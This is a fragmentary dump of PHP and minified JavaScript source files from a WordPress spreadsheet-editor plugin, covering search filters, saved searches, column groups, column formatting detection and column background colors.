$filters['post_status'] ); } } return $filters; } function get_saved_searches( $post_type ) { $saved_items = get_option( 'vgse_saved_searches' ); if ( empty( $saved_items ) ) { $saved_items = array(); } if ( ! isset( $saved_items[ $post_type ] ) ) { $saved_items[ $post_type ] = array(); } usort( $saved_items[ $post_type ], function( $a, $b ) { return strcmp( $a['search_name'], $b['search_name'] ); } ); return $saved_items[ $post_type ]; } function save_search( $data ) { if ( empty( $data['name'] ) ) { return; } $post_type = $data['post_type']; $saved_items = get_option( 'vgse_saved_searches' ); if ( empty( $saved_items ) ) { $saved_items = array(); } if ( ! isset( $saved_items[ $post_type ] ) ) { $saved_items[ $post_type ] = array(); } $same_name = wp_list_filter( $saved_items[ $post_type ], array( 'name' => $data['name'] ) ); foreach ( $same_name as $index => $same_name_search ) { unset( $saved_items[ $post_type ][ $index ] ); } $saved_items[ $post_type ][] = $data; update_option( 'vgse_saved_searches', $saved_items, false ); } function register_custom_filters( $sanitized_filters, $dirty_filters ) { if ( isset( $dirty_filters['post_name__in'] ) ) { $sanitized_filters['post_name__in'] = sanitize_textarea_field( $dirty_filters['post_name__in'] ); } return $sanitized_filters; } /** * Apply filters to wp-query args * @param array $query_args * @param array $data * @return array */ function filter_posts( $query_args, $data ) { if ( ! empty( $data['filters'] ) ) { $filters = WP_Sheet_Editor_Filters::get_instance()->get_raw_filters( $data ); if ( ! empty( $filters['search_name'] ) && VGSE()->helpers->user_can_manage_options() ) { $this->save_search( array_merge( $filters, array( 'name' => sanitize_text_field( $filters['search_name'] ), 'post_type' => $query_args['post_type'], ) ) ); } $query_args['wpse_original_filters'] = $filters; if ( ! empty( $filters['apply_to'] ) && is_array( $filters['apply_to'] ) ) { $taxonomies_group = array(); $filters['apply_to'] = array_map( 'sanitize_text_field', $filters['apply_to'] ); foreach ( $filters['apply_to'] as $term ) { $term_parts = explode( '--', $term ); if ( count( $term_parts ) !== 2 ) { continue; } $taxonomy = $term_parts[0]; $term = $term_parts[1]; if ( ! isset( $taxonomies_group[ $taxonomy ] ) ) { $taxonomies_group[ $taxonomy ] = array(); } $taxonomies_group[ $taxonomy ][] = $term; } $query_args['tax_query'] = array( 'relation' => 'AND', ); foreach ( $taxonomies_group as $taxonomy_key => $terms ) { $query_args['tax_query'][] = array( 'taxonomy' => $taxonomy_key, 'field' => 'slug', 'terms' => $terms, ); } } if ( ! empty( $filters['keyword_exclude'] ) ) { $editor = VGSE()->helpers->get_provider_editor( $query_args['post_type'] ); if ( $editor->provider->is_post_type ) { $query_args['wpse_not_contains_keyword'] = $filters['keyword_exclude']; } else { $post_id_exclude = $editor->provider->get_item_ids_by_keyword( $filters['keyword_exclude'], $query_args['post_type'], 'LIKE' ); $query_args['post__not_in'] = $post_id_exclude; } } if ( ! empty( $filters['post_parent'] ) ) { $query_args['post_parent'] = (int) str_replace( 'page--', '', $filters['post_parent'] ); } if ( ! empty( $filters['date_from'] ) || ! empty( $filters['date_to'] ) ) { $query_args['date_query'] = array( 'inclusive' => true, ); } if ( ! empty( $filters['post__in'] ) ) { $post_ids_parts = preg_split( '/\r\n|\r|\n|\t|\s|,/', $filters['post__in'] ); $post_ids = array(); foreach ( $post_ids_parts as $post_ids_part ) { if ( strpos( $post_ids_part, '-' ) !== false ) { $range_parts = array_filter( explode( '-', $post_ids_part ) ); if ( count( $range_parts ) === 2 ) { $post_ids = array_merge( $post_ids, range( (int) $range_parts[0], (int) $range_parts[1] ) ); } } else { $post_ids[] = $post_ids_part; } } $post_ids = array_map( 'intval', $post_ids ); $query_args['post__in'] = ( ! empty( $query_args['post__in'] ) ) ? array_intersect( $query_args['post__in'], $post_ids ) : $post_ids; } if ( ! empty( $filters['post_name__in'] ) ) { $post_slugs = array_unique( array_filter( array_map( 'sanitize_text_field', array_map( 'basename', array_map( 'trim', preg_split( '/\r\n|\r|\n/', $filters['post_name__in'] ) ) ) ) ) ); if ( ! empty( $post_slugs ) ) { $query_args['post_name__in'] = $post_slugs; } } if ( ! empty( $filters['date_from'] ) ) { $query_args['date_query']['after'] = sanitize_text_field( $filters['date_from'] ); } if ( ! empty( $filters['date_to'] ) ) { $query_args['date_query']['before'] = sanitize_text_field( $filters['date_to'] ); } if ( ! empty( $filters['meta_query'] ) && is_array( $filters['meta_query'] ) ) { $all_advanced_filters = json_encode( $filters['meta_query'] ); // If there is one advanced filter for post_status, we add a flag // and we will remove the post_status clause from the sql query later if ( strpos( $all_advanced_filters, '"key":"post_status"' ) !== false && isset( $query_args['post_status'] ) && post_type_exists( $query_args['post_type'] ) ) { $query_args['wpse_original_post_statuses'] = $query_args['post_status']; } $filters['meta_query'] = $this->_parse_meta_query_args( $filters['meta_query'], 'meta', $query_args ); $query_args['meta_query'] = $filters['meta_query']; } } return $query_args; } function add_filters_fields( $current_post_type, $filters ) { ?>
  • helpers, 'can_rescan_db_fields' ) && VGSE()->helpers->can_rescan_db_fields( $current_post_type ) ) { $out = false; } if ( ! $out ) { $maximum_fields = ( ! empty( VGSE()->options['maximum_advanced_filters_fields'] ) ) ? (int) VGSE()->options['maximum_advanced_filters_fields'] : 1000; $all_meta_keys = apply_filters( 'vg_sheet_editor/advanced_filters/all_meta_keys', VGSE()->helpers->get_all_meta_keys( $current_post_type, $maximum_fields ), $current_post_type, $filters ); // post data and taxonomy advanced filters are available for post types only if ( VGSE()->helpers->get_current_provider()->is_post_type ) { $taxonomy_keys = VGSE()->helpers->get_post_type_taxonomies_single_data( $current_post_type, 'name' ); $item_raw = $wpdb->get_row( "SELECT * FROM $wpdb->posts LIMIT 1", ARRAY_A ); $item = ( is_array( $item_raw ) ) ? array_keys( $item_raw ) : array(); } else { $item = array(); $taxonomy_keys = array(); } $all_fields = array( 'meta' => array_unique( $all_meta_keys ), 'post_data' => array_unique( $item ), 'taxonomy_keys' => array_unique( $taxonomy_keys ), ); $out = apply_filters( 'vg_sheet_editor/advanced_filters/all_fields_groups', $all_fields, $current_post_type, $filters ); set_transient( $cache_key, $out, DAY_IN_SECONDS ); } return $out; } function _render_advanced_filter_row( $current_post_type, $filters, $selected_values = array(), $wrapper = 'li' ) { $default_selected_values = array( 'source' => '', 'key' => '', 'value' => '', 'compare' => '', ); $selected_values = wp_parse_args( $selected_values, $default_selected_values ); ?> < class="base advanced-field" style="display: none;">
    helpers->user_can_manage_options() && empty( VGSE()->options['enable_simple_mode'] ) ) { ?>
    Click here', 'vg_sheet_editor' ), esc_url( add_query_arg( 'wpse_rescan_db_fields', $current_post_type ) ) ); ?>
    >

    init(); } return self::$instance; } function __set( $name, $value ) { $this->$name = $value; } function __get( $name ) { return $this->$name; } } add_action( 'vg_sheet_editor/initialized', 'vgse_advanced_filters_init' ); function vgse_advanced_filters_init() { return WP_Sheet_Editor_Advanced_Filters::get_instance(); } } modules/autofill-cells/index.php000064400000000000147600365160012751 0ustar00modules/autofill-cells/autofill-cells.php000064400000002413147600365160014573 0ustar00init(); } return WP_Sheet_Editor_Autofill_Cells::$instance; } function init() { add_filter('vg_sheet_editor/handsontable/custom_args', array($this, 'enable_drag_down')); } function enable_drag_down($args) { $args['fillHandle'] = array( 'autoInsertRow' => false, ); return $args; } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } add_action('vg_sheet_editor/initialized', 'vgse_autofill_cells_init'); function vgse_autofill_cells_init() { WP_Sheet_Editor_Autofill_Cells::get_instance(); } } modules/columns-manager/assets/js/init.js000064400000011245147600365160014536 0ustar00jQuery(document).ready(function(){jQuery("body").on("click",".modal-columns-visibility .settings-column",function(e){e.preventDefault();var o=jQuery(this).parent().find(".column-settings");o.toggleClass("settings-opened"),vgseColumnsVisibilityEqualizeHeight(),vgseInitLazySelects(),o.find(".field-type select").trigger("change")}),jQuery("body").on("change",".modal-columns-visibility .field-type select",function(){if(jQuery(this).is(":visible")){var e=jQuery(this).val(),o=jQuery(this).parents(".column-settings");o.find(".settings-for-type").hide(),e&&o.find(".settings-for-"+e).show(),vgseColumnsVisibilityEqualizeHeight()}}),jQuery(".modal-columns-visibility .field-type select").trigger("change"),jQuery("body").on("change",'.modal-columns-visibility .column-settings select, .modal-columns-visibility .column-settings input, .modal-columns-visibility .column-settings textarea, .modal-columns-visibility input[name="wpse_group_name"]',function(){jQuery(".modal-columns-visibility .save_post_type_settings").prop("checked",!0),vgse_editor_settings.is_editor_page&&jQuery('.modal-columns-visibility input[name="wpse_auto_reload_after_saving"]').val(1)})}),jQuery(document).ready(function(){if("undefined"==typeof hot)return!0;var e=hot.getSettings().contextMenu;function s(){var e;if("object"==typeof vgse_editor_settings.columnsBackgroundColors){for(var o in vgse_editor_settings.columnsBackgroundColors)if(Object.hasOwnProperty.call(vgse_editor_settings.columnsBackgroundColors,o)){var t=vgseStripHtml(vgse_editor_settings.columnsBackgroundColors[o]),s="bg-"+t.replace("#","");jQuery("head style."+s).length||(e=void 0,e=t.replace("#",""),170<(299*parseInt(e.substr(0,2),16)+587*parseInt(e.substr(2,2),16)+114*parseInt(e.substr(4,2),16))/1e3?jQuery("head").append(''.replace(/className/g,s).replace(/colorCode/g,t)):jQuery("head").append(''.replace(/className/g,s).replace(/colorCode/g,t)))}jQuery.isEmptyObject(vgse_editor_settings.columnsBackgroundColors)&&jQuery("head style.wpse-column-backgrounds").remove(),hot.render()}}void 0===e.items&&(e.items={}),e.items.wpse_column_background={name:vgse_editor_settings.texts.change_background_color,callback:function(e,o,t){var r=[],c=[];o.forEach(function(e){for(var o=e.start.col>e.end.col?e.end.col:e.start.col,t=e.start.col>e.end.col?e.start.col:e.end.col,s=[],n=o;n<=t;n++)s.push(n);s.forEach(function(e){var o=hot.colToProp(e);o&&(r.push(o),c.push(e))})}),$colorInput=jQuery(".wpse-column-background-selector-wrapper input"),$colorInput.data("columnKeys",jQuery.unique(r)).data("columnIndexes",jQuery.unique(c)),$colorInput.val("#ffffff"),$colorInput.data("backgroundsBeforeOpening",jQuery.extend(!0,{},vgse_editor_settings.columnsBackgroundColors||{})),jQuery(".wpse-column-background-selector-wrapper").show()}},hot.updateSettings({contextMenu:e}),jQuery("body").on("change input",".wpse-column-background-selector-wrapper input",_throttle(function(e){e.preventDefault();var o=jQuery(this),t=o.val().toLowerCase();"object"!=typeof vgse_editor_settings.columnsBackgroundColors&&(vgse_editor_settings.columnsBackgroundColors={}),o.data("columnKeys")&&(o.data("columnKeys").forEach(function(e){"#ffffff"===t&&"string"==typeof vgse_editor_settings.columnsBackgroundColors[e]?delete vgse_editor_settings.columnsBackgroundColors[e]:"#ffffff"!==t&&(vgse_editor_settings.columnsBackgroundColors[e]=t)}),s())},500,{leading:!1,trailing:!0})),jQuery("body").on("click",".wpse-column-background-selector-wrapper .cancel-background-change",function(e){e.preventDefault();var o=jQuery(this).parent().find("input");jQuery(".wpse-column-background-selector-wrapper").hide(),vgse_editor_settings.columnsBackgroundColors=o.data("backgroundsBeforeOpening"),s()}),jQuery("body").on("click",".wpse-column-background-selector-wrapper .clear-background-color",function(e){e.preventDefault();var o=jQuery(this).parent().find("input");o.val("#ffffff"),o.trigger("change")}),jQuery("body").on("click",".wpse-column-background-selector-wrapper .save-background-color",function(e){e.preventDefault(),jQuery.post(vgse_global_data.ajax_url,{action:"vgse_save_column_backgrounds",post_type:vgse_editor_settings.post_type,backgrounds:vgse_editor_settings.columnsBackgroundColors,nonce:vgse_editor_settings.nonce}),jQuery(".wpse-column-background-selector-wrapper").hide()}),s()});modules/columns-manager/inc/column-groups.php000064400000032333147600365160015414 0ustar00helpers->user_can_manage_options()) { add_action('vg_sheet_editor/columns_visibility/after_fields', array($this, 'render_save_columns_view_option')); add_action('vg_sheet_editor/columns_visibility/after_options_saved', array($this, 'save_column_group'), 11, 2); } else { add_action('vg_sheet_editor/editor/before_init', array($this, 'register_toolbar_items')); } $this->maybe_switch_to_group(); add_action('vg_sheet_editor/editor/before_init', array($this, 'register_groups_toolbar_items')); add_action('wp_ajax_vgse_delete_saved_columns_manager', array($this, 'delete_saved_group')); add_filter('vg_sheet_editor/columns_visibility/options', array($this, 'set_current_group_columns'), 10, 2); add_action('show_user_profile', array($this, 'render_user_profile_fields')); add_action('edit_user_profile', array($this, 'render_user_profile_fields')); add_action('edit_user_profile_update', array($this, 'save_user_profile_fields')); add_action('personal_options_update', array($this, 'save_user_profile_fields')); } /** * Register toolbar item to edit columns visibility live on the spreadsheet */ function register_toolbar_items($editor) { $post_types = $editor->args['enabled_post_types']; foreach ($post_types as $post_type) { $allowed_groups = $this->get_allowed_groups_for_post_type($post_type); if (count($allowed_groups) < 2) { continue; } $editor->args['toolbars']->register_item('columns_manager', array( 'type' => 'button', 'content' => __('Spreadsheet views', 'vg_sheet_editor' ), 'url' => 'javascript:void(0)', 'toolbar_key' => 'secondary', 'allow_in_frontend' => false, ), $post_type); } } function save_user_profile_fields($user_id) { if (empty(VGSE()->options['enable_spreadsheet_views_restrictions'])) { return; } if (!WP_Sheet_Editor_Helpers::current_user_can('edit_user', $user_id) || !VGSE()->helpers->user_can_manage_options() || !isset($_REQUEST['wpse_allowed_column_groups'])) { return false; } $data = VGSE()->helpers->safe_text_only($_REQUEST['wpse_allowed_column_groups']); update_user_meta($user_id, 'wpse_allowed_column_groups', $data); } function render_user_profile_fields($user) { if (empty(VGSE()->options['enable_spreadsheet_views_restrictions'])) { return; } if (!VGSE()->helpers->user_can_manage_options()) { return; } $sheets = VGSE()->helpers->get_prepared_post_types(); $all_allowed_groups = get_user_meta($user->ID, 'wpse_allowed_column_groups', true); if (empty($all_allowed_groups)) { $all_allowed_groups = array(); } ?>


    options['enable_spreadsheet_views_restrictions'])) { $existing_groups = get_option($this->groups_key); $allowed_groups = isset($existing_groups[$post_type]) ? array_keys($existing_groups[$post_type]) : array(); } else { $all_allowed_groups = get_user_meta(get_current_user_id(), 'wpse_allowed_column_groups', true); $allowed_groups = isset($all_allowed_groups[$post_type]) ? array_filter(array_map('sanitize_title', array_map('trim', explode(',', $all_allowed_groups[$post_type])))) : array(); } return $allowed_groups; } function is_group_usage_allowed($group_key, $post_type) { $out = true; if (empty($post_type) || empty($group_key)) { return false; } $allowed_groups = $this->get_allowed_groups_for_post_type($post_type); $existing_groups = get_option($this->groups_key); // Disallow if group doesn't exist if (empty($existing_groups) || empty($existing_groups[$post_type]) || empty($existing_groups[$post_type][$group_key])) { $out = false; } // Disallow if the user is restricted to specific groups and the group is not whitelisted for this user if (!empty($allowed_groups) && !in_array($group_key, $allowed_groups, true)) { $out = false; } return $out; } function get_active_group() { if (!VGSE()->helpers->is_editor_page() && !wp_doing_ajax()) { return false; } $post_type = VGSE()->helpers->get_provider_from_query_string(); $last_groups_used = get_user_meta(get_current_user_id(), 'wpse_last_column_group', true); if (empty($post_type)) { return false; } $existing_groups = get_option($this->groups_key); if (empty($existing_groups)) { return false; } $last_group = isset($last_groups_used[$post_type]) ? $last_groups_used[$post_type] : null; $allowed_groups = $this->get_allowed_groups_for_post_type($post_type); $current_group = false; if ($last_group && (in_array($last_group, $allowed_groups, true) || empty($allowed_groups))) { $current_group = $last_group; } elseif (!empty($allowed_groups)) { $current_group = current($allowed_groups); } return $current_group; } function set_current_group_columns($visibility_options, $post_type) { if (!apply_filters('vg_sheet_editor/columns_groups_enabled', true, $post_type)) { return $visibility_options; } $group_key = $this->get_active_group(); if (!$post_type) { $post_type = VGSE()->helpers->get_provider_from_query_string(); } if (!$this->is_group_usage_allowed($group_key, $post_type)) { return $visibility_options; } if (empty($visibility_options)) { $visibility_options = array(); } if (empty($visibility_options[$post_type])) { $visibility_options[$post_type] = array(); } $existing_groups = get_option($this->groups_key); $group_columns = $existing_groups[$post_type][$group_key]; $all_groups_raw = $existing_groups[$post_type]; $all_groups_raw[] = $visibility_options[$post_type]; $all_columns = VGSE()->helpers->array_flatten($all_groups_raw); foreach ($all_columns as $column_key => $column_title) { if (!isset($group_columns['enabled'][$column_key]) && !isset($group_columns['disabled'][$column_key])) { $group_columns['disabled'][$column_key] = $column_title; } } $visibility_options[$post_type] = $group_columns; return $visibility_options; } function save_last_columns_group($group_key, $post_type, $user_id = null) { if (!$user_id) { $user_id = get_current_user_id(); } $last_groups_used = get_user_meta($user_id, 'wpse_last_column_group', true); if (empty($last_groups_used)) { $last_groups_used = array(); } if (empty($last_groups_used[$post_type])) { $last_groups_used[$post_type] = array(); } $last_groups_used[$post_type] = $group_key; update_user_meta($user_id, 'wpse_last_column_group', $last_groups_used); } function maybe_switch_to_group() { if (empty($_GET['wpse_cmg'])) { return; } $post_type = VGSE()->helpers->get_provider_from_query_string(); $group_key = sanitize_title($_GET['wpse_cmg']); if ($this->is_group_usage_allowed($group_key, $post_type)) { $this->save_last_columns_group($group_key, $post_type); } $url = esc_url(remove_query_arg('wpse_cmg')); wp_redirect($url); exit(); } function register_groups_toolbar_items($editor) { $existing = get_option($this->groups_key); if (empty($existing)) { return; } $post_types = $editor->args['enabled_post_types']; $active_group_key = $this->get_active_group(); foreach ($post_types as $post_type) { if (!isset($existing[$post_type])) { continue; } ksort($existing[$post_type]); foreach ($existing[$post_type] as $group_key => $group) { if (!$this->is_group_usage_allowed($group_key, $post_type)) { continue; } $delete_button_attribute = ( $active_group_key && $group_key === $active_group_key ) ? 'data-active-item data-saved-item' : 'data-saved-item'; $extra_attributes = 'data-saved-type="columns_manager" ' . $delete_button_attribute . ' data-item-name="' . esc_attr($group_key) . '" '; if ($active_group_key && $group_key === $active_group_key) { $extra_attributes .= ' data-reload="1" '; } $editor->args['toolbars']->register_item('cm_g_' . $group_key, array( 'type' => 'button', 'toolbar_key' => 'secondary', 'allow_in_frontend' => false, 'parent' => 'columns_manager', 'content' => $group['name'], 'url' => esc_url(add_query_arg('wpse_cmg', $group_key)), 'extra_html_attributes' => $extra_attributes ), $post_type); } } } function delete_saved_group() { if (empty($_REQUEST['post_type']) || !VGSE()->helpers->verify_nonce_from_request() || !VGSE()->helpers->user_can_manage_options()) { wp_send_json_error(array('message' => __('You dont have enough permissions to view this page.', 'vg_sheet_editor' ))); } $post_type = VGSE()->helpers->sanitize_table_key($_REQUEST['post_type']); $group_key = sanitize_text_field($_REQUEST['search_name']); $saved_items = get_option($this->groups_key); if (empty($saved_items)) { wp_send_json_success(); } if (!isset($saved_items[$post_type]) || !isset($saved_items[$post_type][$group_key])) { wp_send_json_success(); } unset($saved_items[$post_type][$group_key]); update_option($this->groups_key, $saved_items, false); wp_send_json_success(); } function save_column_group($post_type, $options) { if (!isset($_REQUEST['wpse_group_name'])) { return; } $name = sanitize_text_field($_REQUEST['wpse_group_name']); $existing = get_option($this->groups_key); if (empty($existing)) { $existing = array(); } if (empty($existing[$post_type])) { $existing[$post_type] = array(); } $group = $options[$post_type]; $group['name'] = $name; $key = sanitize_title($name); $existing[$post_type][$key] = $group; update_option($this->groups_key, $existing, false); // Activate the group that we just created, otherwise they can enable columns // and those columns wont appear enabled until they manually switch to the new columns group $this->save_last_columns_group($key, $post_type); } function render_save_columns_view_option($post_type) { if (!VGSE()->helpers->is_editor_page()) { return; } $groups = get_option($this->groups_key); $active_group_key = $this->get_active_group(); $name = ( $active_group_key && isset($groups[$post_type][$active_group_key])) ? $groups[$post_type][$active_group_key]['name'] : ''; ?>
  • init(); } return WPSE_Column_Groups::$instance; } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } } if (!function_exists('WPSE_Column_Groups_Obj')) { function WPSE_Column_Groups_Obj() { return WPSE_Column_Groups::get_instance(); } } WPSE_Column_Groups_Obj(); modules/columns-manager/index.php000064400000000000147600365160013122 0ustar00modules/columns-manager/columns-manager.php000064400000217101147600365160015117 0ustar00init(); } return self::$instance; } function init() { if ( version_compare( VGSE()->version, '2.24.21-beta.2' ) < 0 ) { return; } require __DIR__ . '/inc/column-groups.php'; // Allow to manage the columns formatting // UI if ( VGSE()->helpers->user_can_manage_options() ) { add_action( 'vg_sheet_editor/columns_visibility/enabled/after_column_action', array( $this, 'render_settings_button' ), 30, 2 ); add_action( 'vg_sheet_editor/after_enqueue_assets', array( $this, 'enqueue_assets' ) ); add_action( 'vg_sheet_editor/columns_visibility/after_options_saved', array( $this, 'save_column_settings' ) ); add_action( 'vg_sheet_editor/frontend/metabox/after_fields_saved', array( $this, 'save_column_settings_from_frontend_sheet' ) ); add_action( 'vg_sheet_editor/editor/before_init', array( $this, 'register_toolbar_items' ) ); add_action( 'vg_sheet_editor/columns_visibility/after_instructions', array( $this, 'render_instructions' ) ); add_filter( 'vg_sheet_editor/custom_columns/columns_detected_settings_before_cache', array( $this, 'maybe_detect_column_type_automatically' ), 10, 2 ); add_filter( 'vg_sheet_editor/js_data', array( $this, 'add_lazy_loaded_select_options' ) ); } // Apply formatting settings add_filter( 'vg_sheet_editor/columns/all_items', array( $this, 'apply_settings' ), 10, 2 ); add_filter( 'vg_sheet_editor/serialized_addon/column_settings', array( $this, 'apply_settings_to_serialized_column' ), 10, 5 ); add_filter( 'vg_sheet_editor/infinite_serialized_column/column_settings', array( $this, 'apply_settings_to_infinitely_serialized_column' ), 10, 3 ); add_action( 'vg_sheet_editor/editor_page/after_editor_page', array( $this, 'render_column_background_picker' ) ); add_action( 'wp_ajax_vgse_save_column_backgrounds', array( $this, 'save_column_backgrounds' ) ); add_filter( 'vg_sheet_editor/js_data', array( $this, 'add_column_backgrounds' ), 10, 2 ); } function add_column_backgrounds( $js_settings, $post_type ) { $user_id = get_current_user_id(); $user_backgrounds = get_user_meta( $user_id, 'wpse_column_backgrounds', true ); $js_settings['columnsBackgroundColors'] = ! empty( $user_backgrounds[ $post_type ] ) ? $user_backgrounds[ $post_type ] : array(); return $js_settings; } function save_column_backgrounds() { $error_message = array( 'message' => __( 'You dont have enough permissions to do this action.', 'vg_sheet_editor' ) ); if ( empty( $_POST['post_type'] ) || empty( $_POST['backgrounds'] ) || empty( VGSE()->helpers->get_nonce_from_request() ) || ! VGSE()->helpers->verify_nonce_from_request() ) { wp_send_json_error( $error_message ); } $post_type = VGSE()->helpers->sanitize_table_key( $_POST['post_type'] ); if ( ! VGSE()->helpers->user_can_view_post_type( $post_type ) ) { wp_send_json_error( $error_message ); } $backgrounds = array(); foreach ( $_POST['backgrounds'] as $column_key => $background ) { if ( strpos( $background, '#' ) !== 0 ) { continue; } $backgrounds[ sanitize_text_field( $column_key ) ] = sanitize_text_field( $background ); } $user_id = get_current_user_id(); $user_backgrounds = get_user_meta( $user_id, 'wpse_column_backgrounds', true ); if ( empty( $user_backgrounds ) ) { $user_backgrounds = array(); } $user_backgrounds[ $post_type ] = $backgrounds; update_user_meta( $user_id, 'wpse_column_backgrounds', $user_backgrounds ); wp_send_json_success( true ); } function render_column_background_picker( $post_type ) { ?>



    array(), 'is_date' => false, 'save_format' => false, ); $values = array_filter( array_unique( $values ) ); if ( ! empty( $values ) ) { foreach ( $values as $value ) { if ( ! is_scalar( $value ) ) { continue; } if ( empty( $value ) || preg_match( '/^(\d{4}-\d{2}-\d{2} \d{1,2}:\d{1,2}:\d{1,2}|-?\d{9,10})$/', $value ) ) { $out['possible_dates'][] = $value; } } $out['is_date'] = count( $values ) === count( $out['possible_dates'] ); if ( ! empty( $out['possible_dates'] ) && $out['is_date'] ) { $first_value = $out['possible_dates'][0]; if ( preg_match( '/^\d{4}-\d{2}-\d{2} \d{1}:\d{1,2}:\d{1,2}$/', $first_value ) ) { $out['save_format'] = 'Y-m-d G:i:s'; } elseif ( preg_match( '/^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}$/', $first_value ) ) { $out['save_format'] = 'Y-m-d H:i:s'; } elseif ( preg_match( '/^-?\d{9,10}$/', $first_value ) ) { $out['save_format'] = 'U'; } } } return $out; } function are_values_dates( $values ) { $out = array( 'possible_dates' => array(), 'is_date' => false, 'display_format' => 'YYYY-MM-DD', // moment.js format used by the cell's calendar 'save_format' => false, ); $values = array_filter( array_unique( $values ) ); if ( ! empty( $values ) ) { foreach ( $values as $value ) { if ( ! is_scalar( $value ) ) { continue; } if ( empty( $value ) || preg_match( '/^(\d{4}-\d{2}-\d{2}|\d{8})$/', $value ) ) { $out['possible_dates'][] = $value; } } $out['is_date'] = count( $values ) === count( $out['possible_dates'] ); if ( ! empty( $out['possible_dates'] ) ) { $first_value = $out['possible_dates'][0]; if ( $out['is_date'] ) { if ( is_numeric( $first_value ) && strlen( $first_value ) === 8 ) { $out['save_format'] = 'Ymd'; } elseif ( preg_match( '/^(\d{4}-\d{2}-\d{2})$/', $value ) ) { $out['save_format'] = 'Y-m-d'; } } } } return $out; } function are_values_media_files( $values ) { $out = array( 'possible_files' => array(), 'is_file' => false, ); $values = array_filter( array_unique( $values ) ); if ( ! empty( $values ) ) { foreach ( $values as $value ) { if ( ! is_scalar( $value ) ) { continue; } if ( is_numeric( $value ) && get_post_type( $value ) === 'attachment' ) { $out['possible_files'][] = $value; } elseif ( strpos( $value, WP_CONTENT_URL . '/uploads/' ) === 0 ) { $out['possible_files'][] = $value; } } $out['is_file'] = count( $values ) === count( $out['possible_files'] ); } return $out; } function maybe_detect_column_type_automatically( $columns_detected, $post_type ) { if ( ! empty( VGSE()->options['disable_automatic_formatting_detection'] ) ) { return $columns_detected; } $new_formatting = array(); if ( isset( $columns_detected['normal'] ) ) { foreach ( $columns_detected['normal'] as $column_key => $column_settings ) { if ( $column_settings['detected_type']['type'] !== 'text' ) { continue; } // If we have defined formatting previously, don't overwrite it automatically $current_format_settings = $this->get_formatted_column_settings( $column_key, $post_type ); if ( ! empty( $current_format_settings ) ) { continue; } if ( ! isset( $new_formatting[ $column_key ] ) ) { $date_detection = $this->are_values_dates( $column_settings['detected_type']['sample_values'] ); if ( $date_detection['is_date'] ) { $new_formatting[ $column_key ] = array( 'field_type' => 'date', 'date_format_save' => $date_detection['save_format'], 'date_format_display' => 'Y-m-d', ); } } if ( ! isset( $new_formatting[ $column_key ] ) ) { $date_detection = $this->are_values_date_time( $column_settings['detected_type']['sample_values'] ); if ( $date_detection['is_date'] ) { $new_formatting[ $column_key ] = array( 'field_type' => 'date_time', 'date_time_format_save' => $date_detection['save_format'], 'date_time_format_display' => 'Y-m-d H:i:s', ); } } if ( ! isset( $new_formatting[ $column_key ] ) ) { $files_detection = $this->are_values_media_files( $column_settings['detected_type']['sample_values'] ); if ( $files_detection['is_file'] ) { $new_formatting[ $column_key ] = array( 'field_type' => 'file', 'file_saved_format' => is_numeric( $files_detection['possible_files'][0] ) ? 'id' : 'url', 'allow_multiple_files' => strpos( $files_detection['possible_files'][0], ',' ) !== false, 'multiple_files_format' => 'comma', ); } } } } if ( ! empty( $new_formatting ) ) { $this->save_column_settings( $post_type, $new_formatting ); } return $columns_detected; } function render_instructions() { _e( ' Some columns have the button to change the formatting', 'vg_sheet_editor' ); } /** * Register toolbar item to edit columns visibility live on the spreadsheet */ function register_toolbar_items( $editor ) { $post_types = $editor->args['enabled_post_types']; foreach ( $post_types as $post_type ) { $editor->args['toolbars']->register_item( 'columns_manager', array( 'type' => 'button', 'allow_in_frontend' => false, 'content' => __( 'Columns manager', 'vg_sheet_editor' ), 'toolbar_key' => 'secondary', 'extra_html_attributes' => 'data-remodal-target="modal-columns-visibility"', ), $post_type ); } } function maybe_apply_settings_to_serialized_column( $column_args, $post_type ) { if ( ! empty( $column_args['key'] ) ) { $new_settings = $this->get_formatted_column_settings( $column_args['key'], $post_type, $column_args ); $column_args = wp_parse_args( $new_settings, $column_args ); } return $column_args; } function apply_settings_to_infinitely_serialized_column( $column_args, $serialized_column, $post_type ) { return $this->maybe_apply_settings_to_serialized_column( $column_args, $post_type ); } function apply_settings_to_serialized_column( $column_args, $first_set_keys, $field, $key, $post_type ) { return $this->maybe_apply_settings_to_serialized_column( $column_args, $post_type ); } function apply_settings( $columns ) { $options = $this->get_settings(); if ( empty( $options ) ) { return $columns; } $formatted_options = array(); foreach ( $options as $post_type => $columns_settings ) { if ( ! isset( $formatted_options[ $post_type ] ) ) { $formatted_options[ $post_type ] = array(); } foreach ( $columns_settings as $column_key => $column_settings ) { $formatted_options[ $post_type ][ $column_key ] = $this->format_column_settings( $column_settings ); if ( preg_match( '/\d/', $column_key ) ) { $formatted_options[ $post_type ][ $this->key_to_regex( $column_key ) ] = $formatted_options[ $post_type ][ $column_key ]; } } } foreach ( $columns as $post_type_key => $post_type_columns ) { // Skip if special formatting not defined for this post type if ( ! isset( $options[ $post_type_key ] ) ) { continue; } foreach ( $post_type_columns as $key => $column ) { $custom_column_settings = null; if ( isset( $formatted_options[ $post_type_key ][ $key ] ) ) { $custom_column_settings = $formatted_options[ $post_type_key ][ $key ]; } elseif ( preg_match( '/\d/', $key ) ) { $regex_key = $this->key_to_regex( $key ); if ( isset( $formatted_options[ $post_type_key ][ $regex_key ] ) ) { $custom_column_settings = $formatted_options[ $post_type_key ][ $regex_key ]; } } // Skip if special formatting not defined for this column if ( ! $custom_column_settings ) { continue; } if ( ! empty( $column['allow_custom_format'] ) && ! empty( $custom_column_settings['field_type'] ) ) { $custom_format_settings = $this->get_custom_format_column_settings( $key, $post_type, $custom_column_settings ); if ( $custom_format_settings ) { $columns[ $post_type_key ][ $key ] = wp_parse_args( $custom_format_settings, $column ); } } $other_column_settings = $this->get_other_column_settings( $columns[ $post_type_key ][ $key ], $key, $post_type, $custom_column_settings ); if ( $other_column_settings ) { $columns[ $post_type_key ][ $key ] = wp_parse_args( $other_column_settings, $column ); } } } return $columns; } function _get_all_capabilities() { if ( ! function_exists( 'wp_roles' ) ) { return array(); } $roles = wp_roles(); $capabilities = array(); foreach ( $roles->roles as $role ) { if ( ! empty( $role['capabilities'] ) ) { $capabilities = array_merge( $capabilities, array_keys( $role['capabilities'] ) ); } } sort( $capabilities ); return $capabilities; } function get_other_column_settings( $out, $key, $post_type, $column_settings = null ) { if ( ! is_array( $column_settings ) ) { $column_settings = 